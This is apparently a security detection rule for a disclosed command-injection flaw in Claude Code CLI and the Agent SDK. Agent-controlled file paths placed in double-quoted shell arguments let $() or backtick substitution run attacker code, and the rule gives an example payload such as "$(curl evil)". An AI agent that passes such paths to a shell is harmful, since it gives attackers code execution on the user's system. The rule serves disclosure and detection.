Claude Code Shell Metacharacter in Double-Quoted File Path - ATR-2026-00526 (7de12c9f-a5bb-5275-a31a-63d46ea4ee50)
Detects the CVE-2026-35021/35020/35022 family in Claude Code CLI and Claude Agent SDK (disclosed 2026-05-15, CVSS 8.4). The root cause is POSIX §2.2.3 — $() command substitution and backtick command substitution remain active inside double quotes. In Claude Code's promptEditor.ts, file paths from agent-controlled context were interpolated into double-quoted shell arguments passed to execSync, letting a path like "$(curl evil)" execute attacker code. Generalizes beyond Claude Code: any agent that double-quote-wraps a user/agent-controlled file path before passing to a shell tool inherits this RCE primitive. The detection target is a path-shaped argument containing a $(...) or backtick command substitution inside double quotes.